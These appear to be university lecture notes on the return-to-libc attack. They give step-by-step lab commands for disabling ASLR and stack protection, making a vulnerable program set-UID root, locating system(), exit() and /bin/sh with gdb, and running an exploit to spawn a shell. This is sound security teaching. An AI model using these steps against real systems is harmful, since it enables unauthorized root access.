Return to libc

Return to libc

Overview

• Malicious data are used to overflow a function’s return address in order to get the program to jump to a different location on the stack which stores malicious code.
• Existing counter-measures:
  • Random address in virtual address space: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    • Making code on stack non-executable: -z execstack
    • Prevent modification to the stack: -fno-stack-protector
• Create the following file, shellcode.c:

1
2
3
4
 
seed@instructor:~$ gcc -m32 -z execstack -o shellcode shellcode.c
seed@instructor:~$ ./shellcode
seed@instructor:~$ gcc -m32 -o shellcode shellcode.c
seed@instructor:~$ ./shellcode
 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 
## Attack design


- Good countermeasure, but not enough.
- If the stack is not executable, an alternative solution is to make 
the program jump to where there are executable codes.
- Enter the region for standard C library on Linux, called `libc`.









<figure
  
>
  <picture>
    <!-- Auto scaling with imagemagick -->
    <!--
      See https://www.debugbear.com/blog/responsive-images#w-descriptors-and-the-sizes-attribute and
      https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images for info on defining 'sizes' for responsive images
    -->
    
      
        <source
          class="responsive-img-srcset"
          
            srcset="/assets/img/courses/csc302/libc/libc_design-480.webp 480w,/assets/img/courses/csc302/libc/libc_design-800.webp 800w,/assets/img/courses/csc302/libc/libc_design-1400.webp 1400w,"
            type="image/webp"
          
          
            sizes="95vw"
          
        >
      
    
    <img
      src="/assets/img/courses/csc302/libc/libc_design.png"
      
      
        width="50%"
      
      
        height="auto"
      
      
      
        alt="Overview of libc attack"
      
      
      
        data-zoomable
      
      
        loading="lazy"
      
      onerror="this.onerror=null; $('.responsive-img-srcset').remove();"
    >
  </picture>

  
</figure>




- Create a file named `stack.c`

<script src="https://gist.github.com/linhbngo/a583a6912f26fb77b67c835933f76dce.js?file=stack_libc.c"></script>

- Compile stack with specific flags

```bash
gcc -m32 -fno-stack-protector -z noexecstack -o stack stack.c
sudo sysctl -w kernel.randomize_va_space=0
sudo chown root stack
sudo chmod 4755 stack
 

• Flag meanings
  • fno-stack-protector: disable protection against changes in stack
  • -z noexecstack: actually turn on protection against executable stack
  • kernel.randomize_va_space=0: disable address space layout randomization
  • Afterward, turn the program into a root-owned set-UID program
• Task A: find where in memory is system() located.
• Task B: find the address of the /bin/sh string.

• Task C: where to place the address of /bin/sh in the stack so that system() can get to it.

• Anytime a program runs, the libc library will be loaded into memory.
• Using gdb, we can find out the location of system() with the following commands:

1
 
gdb stack
 

• This is to bring up gdb-peda. We don’t need a -g enabled version for the followings:

1
2
3
4
 
(gdb-peda)$ run
(gdb-peda)$ p system
(gdb-peda)$ p exit
(gdb-peda)$ quit
 

• Rerun the entire process. several time to ensure that the addresses doesn’t change, and record the values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 

- We want `system()` to execute `/bin/sh`.
- Therefore, `/bin/sh` must be in memory, and 
its address should be passed to `system()` as an argument.
- We cannot embed this in the source code (no access to source 
code of vulnerable program).
- Solution:
  - Utilize environment variables




- Create a file named `find_myshell.c`

<script src="https://gist.github.com/linhbngo/a583a6912f26fb77b67c835933f76dce.js?file=find_myshell.c"></script>

- Create the EV, then compile and run find_myshell.c

```bash
export MYSHELL="/bin/sh"
gcc -m32 -o myshell find_myshell.c
./myshell
gcc -m32 -o myshell0 find_myshell.c
./myshell0
gcc -m32 -o myshell1 find_myshell.c
./myshell1
gcc -m32 -o myshell22 find_myshell.c
./myshell22
gcc -m32 -o myshell222 find_myshell.c
./myshell222
 

• What is your observation regarding memory position of environment variables?

• In buffer overflow, we manually place both system() and its corresponding arguments on the stack for execution.
• In return-to-libc, we invoke system() remotely.
• How can we place the corresponding arguments onto the stack?
  • $esp: Stack register

• What happens just before a function is called?

1
2
3
 
pushl %ebp
movl %esp, %ebp
subl $N, %esp
 

• Return address (RA) is pushed onto the stack.
• Save (push) the caller function’s frame pointer (ebp)
• Set frame pointer to the stack pointer (esp) ’s current position
• Move the stack pointer by several bytes, leaving spaces for the local variables of the function.

• What happens just before a function is completed?

1
2
3
 
movl %ebp, %esp
popl %ebp
ret
 

• Move %esp to where the frame pointer points to (releasing the stack space for variables).
• Most most recent value of %ebp, return it to point to the previous frame pointer.
• Pops the return address from the stack, then jump to it, and move %esp to the top of the previous stack frame

• The malicious function did finish properly.
  • Its function epilogue was called.
  • We know the location of $esp.
• The malicious call redirect RA (next instruction) to a new function.
  • Activate this new function prologue
  • But this new function will rely on values in $esp for execution
  • We need to manipulate $esp
• Observation
  • $esp and $ebp are values from vul_func(), but they are changed due to the procedural execution of vul_func()’s epilogue and system()’s prologue.

1
2
3
4
5
6
7
8
9
 
## Attack


- Compile `gdb_stack` 

```bash
gcc -m32 -fno-stack-protector -z noexecstack -g -o gdb_stack stack.c
gdb gdb_stack
 

• Run gdb_stack with the following steps

1
2
3
4
5
6
7
 
gdb-peda$ break vul_func
gdb-peda$ run
gdb-peda$ n
gdb-peda$ p $ebp
gdb-peda$ p &buffer
gdb-peda$ p hex_value_from_ebp - hex_value_from_buffer
gdb-peda$ quit
 

• The distance should be 0x3e (62)
• Offsets
  • Offset of 3 is distance + 4: address of system()
  • Offset of 2 is distance + 8: address of exit()
  • Offset of 1 is distance plus 12: address of /bin/sh

1
2
 
gcc -o kcats find_myshell.c
./kcats
 

• Keep track of the /bin/sh address.
• Use the recorded address from system and exit, and the /bin/sh address to modify ret_to_libc_exploit.c.

1
 
gcc -m32 -o exploit ret_to_libc_exploit.c; ./exploit; ./stack
 

```